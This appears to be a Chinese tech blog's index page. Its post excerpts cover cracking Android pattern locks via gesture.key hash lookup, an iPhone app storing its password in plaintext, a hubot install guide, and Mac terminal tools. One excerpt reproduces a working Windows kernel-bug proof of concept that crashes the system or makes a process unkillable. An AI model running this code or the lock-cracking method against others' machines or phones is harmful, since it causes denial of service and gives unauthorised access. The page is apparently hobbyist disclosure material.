Andoid 图形屏幕锁破解

cracked

其实最早看到关于破解访问图案是在看雪的一篇文章中:http://bbs.pediy.com/showthread.php?t=166933。详细信息可以参考这篇文章,至于有什么不明白的那就去Google吧。

今天看到一份代码,用于生成哈希库,既然数据都有了,还不直接把搜索功能一块加进去?这不是蛋疼嘛。于是我自己完善了一下,可以直接用来对gesture.key进行搜索,免得自己去查找。当然了如果愿意自己去查也是很快的,生成的就是个文本数据库,直接用记事本打开查就行了。

Continue Reading

Web Albums(iPhone) 的蛋疼明文密码

webpicasa

一款蛮不错的的Picasa相册同步软件,并且还有个密码保护功能,看起来很帅的样子。设置密码之后习惯性的想看下密码保存在什么地方,是不是明文的,于是随便在文件夹下翻了翻,不小心就找到了。娃哈哈,蛋疼啊,如果忘记密码了去软件目录下找到这个文件:

/var/mobile/Applications/51AE867E-C284-4961-B6D6-48428404FE12/Library/Preferences/com.yourcompany.PhotoGator.plist

Continue Reading

hubot install. hubot 机器人安裝

hubot

 

Hubot

This is a version of GitHub’s Campfire bot, hubot. He’s pretty cool.

You’ll probably never have to hack on this repo directly.

Instead this repo provides a library that’s distributed by npm that you simply require in your project. Follow the instructions below and get your own hubot ready to deploy.

1.安装nodejsnpm (node v0.6.3+版本以后已经集成npm)

2.安装redis数据库
http://redis.googlecode.com 下载redis

$ tar xzf redis-x.x.x.x.tar.gz 解压文件
$ cd redis-2.4.1
$ make

启动服务: $ src/redis-server

Continue Reading

ProcessIoPriority Bug (BSOD/Non-Killable Process)

//http://waleedassar.blogspot.com
//http://www.twitter.com/waleedassar

BSOD:
#define ProcessIoPriority               0x21
int main()
{
    unsigned long val=0xFFFFFFFF;
    int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
    if(ret<0) printf("Error %x\r\n",ret);
    ExitProcess(0);
    return 0;
}

Non-Killable Process:

#define ProcessIoPriority               0x21
int main()
{
    unsigned long val=0x8000F129;
    int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
    if(ret<0) printf("Error %x\r\n",ret);
    ExitProcess(0);
    return 0;
}

Description:
With the “ProcessInformationClass” parameter set to ProcessIoPriority 0x21, passing certain signed values e.g. 0xFFFFFFFF or 0x8000F129 in the variable pointed to by the “ProcessInformation” parameter to the ntdll “ZwSetInformationProcess” function can be abused to arbitrarily set certain bit flags of the corresponding “_EPROCESS” structure e.g. DefaultIoPriority: Pos 27, ProcessSelfDelete : Pos 30, or SetTimerResolutionLink: Pos 31.

Link:http://waleedassar.blogspot.tw/2013/02/kernel-bug-1-processiopriority.html

再谈Mac 终端的高亮

mac

也不知道为什么苹果不愿意默认情况下让那个终端支持高亮,每次都要非诚蛋疼的重新配置,哈哈,其实问题的关键是我用的不是mac的主机,用的虚拟机跑的mac,现在还是挺顺畅的。今天这里要介绍的不是配置脚本,是另外的一个终端工具,fish。嘎嘎

上图就是效果啦,还是非常不错的。

Continue Reading